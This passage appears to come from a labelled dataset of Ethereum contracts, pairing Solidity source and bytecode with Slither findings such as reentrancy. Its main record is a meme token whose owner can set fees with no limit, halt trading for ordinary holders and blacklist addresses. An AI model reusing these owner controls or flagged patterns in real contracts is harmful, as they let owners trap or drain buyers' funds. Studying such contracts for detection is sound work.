TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonus(uint256 _tokens, uint256 _weiAmount) public view returns (uint256) {
if (_weiAmount >= 2 ether) {
return _tokens.mul(secondBonus).div(100);
}
return _tokens.mul(firstBonus).div(100);
}
function setFirstBonus(uint256 _newBonus) onlyOwner public {
firstBonus = _newBonus;
}
function setSecondBonus(uint256 _newBonus) onlyOwner public {
secondBonus = _newBonus;
}
function changeEndTime(uint256 _endTime) onlyOwner public {
require(_endTime >= now);
endTime = _endTime;
}
/**
* @dev Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
finalization();
Finalized();
isFinalized = true;
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool tokenMintingFinished = token.mintingFinished();
bool withinCap = token.totalSupply().add(tokensForWei(msg.value)) <= cap;
bool withinPeriod = now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool moreThanMinimumPayment = msg.value >= 0.01 ether;
return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment;
}
function tokensForWei(uint weiAmount) public view returns (uint tokens) {
tokens = weiAmount.mul(rate);
tokens = tokens.add(getBonus(tokens, weiAmount));
}
function finalization() internal {
token.finishMinting();
endTime = now;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
|
0x6080604052600436106101035763ffffffff60e060020a600035041663127e499c811461010e5780632c4e722e146101355780633052b75e1461014a5780633197cbb61461016257806332a9df4614610177578063355274ea1461018f5780634042b66f146101a45780634bb278f3146101b9578063521eb273146101ce57806361bb246c146101ff578063715018a6146102145780637734e398146102295780638d4e4083146102415780638da5cb5b1461026a5780638f32d59b1461027f5780639427aa9614610294578063ec8ac4d8146102af578063eca058cc146102c3578063ecb70fb7146102db578063f2fde38b146102f0578063fc0c546a14610311575b61010c33610326565b005b34801561011a57600080fd5b5061012361046b565b60408051918252519081900360200190f35b34801561014157600080fd5b50610123610471565b34801561015657600080fd5b5061010c600435610477565b34801561016e57600080fd5b5061012361049c565b34801561018357600080fd5b5061010c6004356104a2565b34801561019b57600080fd5b506101236104ba565b3480156101b057600080fd5b506101236104ca565b3480156101c557600080fd5b5061010c6104d0565b3480156101da57600080fd5b506101e3610573565b60408051600160a060020a039092168252519081900360200190f35b34801561020b57600080fd5b50610123610582565b34801561022057600080fd5b5061010c610588565b34801561023557600080fd5b5061010c6004356105f0565b34801561024d57600080fd5b50610256610608565b604080519115158252519081900360200190f35b34801561027657600080fd5b506101e3610629565b34801561028b57600080fd5b50610256610638565b3480156102a057600080fd5b50610123600435602435610649565b61010c600160a060020a0360043516610326565b3480156102cf57600080fd5b506101236004356106aa565b3480156102e757600080fd5b506102566106da565b3480156102fc57600080fd5b5061010c600160a060020a03600435166106e2565b34801561031d57600080fd5b506101e3610701565b600080600160a060020a038316151561033e57600080fd5b610346610710565b151561035157600080fd5b34915061035d826106aa565b600454909150610373908363ffffffff61088e16565b6004908155600254604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038781169482019490945260248101859052905192909116916340c10f19916044808201926020929091908290030181600087803b1580156103ea57600080fd5b505af11580156103fe573d6000803e3d6000fd5b505050506040513d602081101561041457600080fd5b505060408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36104666108ab565b505050565b60055481565b61271081565b61047f610638565b151561048a57600080fd5b4281101561049757600080fd5b600155565b60015481565b6104aa610638565b15156104b557600080fd5b600655565b6b0121836204bc2ce21e00000081565b60045481565b6104d8610638565b15156104e357600080fd5b60005474010000000000000000000000000000000000000000900460ff161561050b57600080fd5b6105136108e4565b6040517f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768190600090a16000805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600354600160a060020a031681565b60065481565b610590610638565b151561059b57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6105f8610638565b151561060357600080fd5b600555565b60005474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031690565b600054600160a060020a0316331490565b6000671bc16d674ec8000082106106875761068060646106746006548661096990919063ffffffff16565b9063ffffffff61099716565b90506106a4565b6106a160646106746005548661096990919063ffffffff16565b90505b92915050565b60006106be8261271063ffffffff61096916565b90506106a46106cd8284610649565b829063ffffffff61088e16565b600154421190565b6106ea610638565b15156106f557600080fd5b6106fe816109ba565b50565b600254600160a060020a031681565b600080600080600080600260009054906101000a9004600160a060020a0316600160a060020a03166305d2035b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561076c57600080fd5b505af1158015610780573d6000803e3d6000fd5b505050506040513d602081101561079657600080fd5b505194506b0121836204bc2ce21e00000061083e6107b3346106aa565b600260009054906101000a9004600160a060020a0316600160a060020a03166318160ddd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561080657600080fd5b505af115801561081a573d6000803e3d6000fd5b505050506040513d602081101561083057600080fd5b50519063ffffffff61088e16565b11159350600154421115925034600014159150662386f26fc100003410159050841580156108695750835b80156108725750825b801561087b5750815b80156108845750805b9550505050505090565b6000828201838110156108a057600080fd5b8091505b5092915050565b600354604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156106fe573d6000803e3d6000fd5b600260009054906101000a9004600160a060020a0316600160a060020a0316637d64bcb46040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561093757600080fd5b505af115801561094b573d6000803e3d6000fd5b505050506040513d602081101561096157600080fd5b505042600155565b60008083151561097c57600091506108a4565b5082820282848281151561098c57fe5b04146108a057600080fd5b6000808083116109a657600080fd5b82848115156109b157fe5b04949350505050565b600160a060020a03811615156109cf57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820b07143bcc1884b6dc274c6b1140303f97ae3028b6616bcd0753cdc380e76c87e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,617 |
0x313cca4b076693a5ab83860f90d0a3e80eb30676
|
/**
*Submitted for verification at Etherscan.io on 2022-04-19
*/
/*
⠀ ▄ ▄
▌▒█ ▄▀▒▌
▌▒▒█ ▄▀▒▒▒▐
▐▄█▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐
▄▄▀▒▒▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐
▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌
▐▒▒▒▄▄▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▀▄▒▌
▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐
▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌
▌░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌
▌▒▒▒▄██▄▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒▐
▐▒▒▐▄█▄█▌▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▒▒▌
▐▒▒▐▀▐▀▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▐
▌▒▒▀▄▄▄▄▄▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▒▌
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒▒▄▒▒▐
▀▄▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒▄▒▒▒▒▌
▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀
▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀
▀▀▀▀▀▀▀▀▀▀▀▀
⠀https://t.me/doge420doge⠀⠀
.
M
dM
MMr
4MMML .
MMMMM. xf
. "MMMMM .MM-
Mh.. +MMMMMM .MMMM
.MMM. .MMMMML. MMMMMh
)MMMh. MMMMMM MMMMMMM
3MMMMx. 'MMMMMMf xnMMMMMM"
'*MMMMM MMMMMM. nMMMMMMP"
*MMMMMx "MMMMM\ .MMMMMMM=
*MMMMMh "MMMMM" JMMMMMMP
MMMMMM 3MMMM. dMMMMMM .
MMMMMM "MMMM .MMMMM( .nnMP"
=.. *MMMMx MMM" dMMMM" .nnMMMMM*
"MMn... 'MMMMr 'MM MMM" .nMMMMMMM*"
"4MMMMnn.. *MMM MM MMP" .dMMMMMMM""
^MMMMMMMMx. *ML "M .M* .MMMMMM**"
*PMMMMMMhn. *x > M .MMMM**""
""**MMMMhx/.h/ .=*"
.3P"%....
nP" "*MMnx
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOGE420DOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge420 Doge";
string private constant _symbol = "DOGE420DOGE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x155D37fCfDbc87653daeB42B9DC6501845da6bfa);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610533578063c3c8cd8014610563578063dd62ed3e14610578578063ea1644d5146105be57600080fd5b806398a5c315146104a3578063a2a957bb146104c3578063a9059cbb146104e3578063bdd795ef1461050357600080fd5b80638da5cb5b116100d15780638da5cb5b1461041b5780638f70ccf7146104395780638f9a55c01461045957806395d89b411461046f57600080fd5b8063715018a6146103d057806374010ece146103e55780637d1db4a51461040557600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035b5780636d8aa8f81461037b5780636fc3eaec1461039b57806370a08231146103b057600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c95780632f9c4569146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611928565b6105de565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b446f676534323020446f676560a01b60208201525b6040516102319190611a52565b60405180910390f35b34801561024657600080fd5b5061025a6102553660046118fd565b61068b565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5069152d02c7e14af68000005b604051908152602001610231565b3480156102d557600080fd5b5061025a6102e4366004611889565b6106a2565b3480156102f557600080fd5b506101f16103043660046118c9565b61070b565b34801561031557600080fd5b506102bb60185481565b34801561032b57600080fd5b5060405160098152602001610231565b34801561034757600080fd5b5060155461028a906001600160a01b031681565b34801561036757600080fd5b506101f1610376366004611819565b6107cf565b34801561038757600080fd5b506101f16103963660046119ef565b61081a565b3480156103a757600080fd5b506101f1610862565b3480156103bc57600080fd5b506102bb6103cb366004611819565b61088f565b3480156103dc57600080fd5b506101f16108b1565b3480156103f157600080fd5b506101f1610400366004611a09565b610925565b34801561041157600080fd5b506102bb60165481565b34801561042757600080fd5b506000546001600160a01b031661028a565b34801561044557600080fd5b506101f16104543660046119ef565b610954565b34801561046557600080fd5b506102bb60175481565b34801561047b57600080fd5b5060408051808201909152600b81526a444f4745343230444f474560a81b6020820152610224565b3480156104af57600080fd5b506101f16104be366004611a09565b61099c565b3480156104cf57600080fd5b506101f16104de366004611a21565b6109cb565b3480156104ef57600080fd5b5061025a6104fe3660046118fd565b610a09565b34801561050f57600080fd5b5061025a61051e366004611819565b60116020526000908152604090205460ff1681565b34801561053f57600080fd5b5061025a61054e366004611819565b60106020526000908152604090205460ff1681565b34801561056f57600080fd5b506101f1610a16565b34801561058457600080fd5b506102bb610593366004611851565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101f16105d9366004611a09565b610a4c565b6000546001600160a01b031633146106115760405162461bcd60e51b815260040161060890611aa5565b60405180910390fd5b60005b81518110156106875760016010600084848151811061064357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067f81611bb8565b915050610614565b5050565b6000610698338484610a7b565b5060015b92915050565b60006106af848484610b9f565b61070184336106fc85604051806060016040528060288152602001611c15602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110a2565b610a7b565b5060019392505050565b6000546001600160a01b031633146107355760405162461bcd60e51b815260040161060890611aa5565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a45760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610608565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161060890611aa5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161060890611aa5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461088257600080fd5b4761088c816110dc565b50565b6001600160a01b03811660009081526002602052604081205461069c90611116565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260040161060890611aa5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161060890611aa5565b601655565b6000546001600160a01b0316331461097e5760405162461bcd60e51b815260040161060890611aa5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c65760405162461bcd60e51b815260040161060890611aa5565b601855565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161060890611aa5565b600893909355600a91909155600955600b55565b6000610698338484610b9f565b6013546001600160a01b0316336001600160a01b031614610a3657600080fd5b6000610a413061088f565b905061088c8161119a565b6000546001600160a01b03163314610a765760405162461bcd60e51b815260040161060890611aa5565b601755565b6001600160a01b038316610add5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610608565b6001600160a01b038216610b3e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610608565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c035760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610608565b6001600160a01b038216610c655760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610608565b60008111610cc75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610608565b6000546001600160a01b03848116911614801590610cf357506000546001600160a01b03838116911614155b15610f9557601554600160a01b900460ff16610d97576001600160a01b03831660009081526011602052604090205460ff16610d975760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610608565b601654811115610de95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610608565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2b57506001600160a01b03821660009081526010602052604090205460ff16155b610e835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610608565b6015546001600160a01b03838116911614610f085760175481610ea58461088f565b610eaf9190611b4a565b10610f085760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610608565b6000610f133061088f565b601854601654919250821015908210610f2c5760165491505b808015610f435750601554600160a81b900460ff16155b8015610f5d57506015546001600160a01b03868116911614155b8015610f725750601554600160b01b900460ff165b15610f9257610f808261119a565b478015610f9057610f90476110dc565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd757506001600160a01b03831660009081526005602052604090205460ff165b8061100957506015546001600160a01b0385811691161480159061100957506015546001600160a01b03848116911614155b1561101657506000611090565b6015546001600160a01b03858116911614801561104157506014546001600160a01b03848116911614155b1561105357600854600c55600954600d555b6015546001600160a01b03848116911614801561107e57506014546001600160a01b03858116911614155b1561109057600a54600c55600b54600d555b61109c8484848461133f565b50505050565b600081848411156110c65760405162461bcd60e51b81526004016106089190611a52565b5060006110d38486611ba1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610687573d6000803e3d6000fd5b600060065482111561117d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610608565b600061118761136d565b90506111938382611390565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124457600080fd5b505afa158015611258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127c9190611835565b8160018151811061129d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c39130911684610a7b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fc908590600090869030904290600401611ada565b600060405180830381600087803b15801561131657600080fd5b505af115801561132a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061134c5761134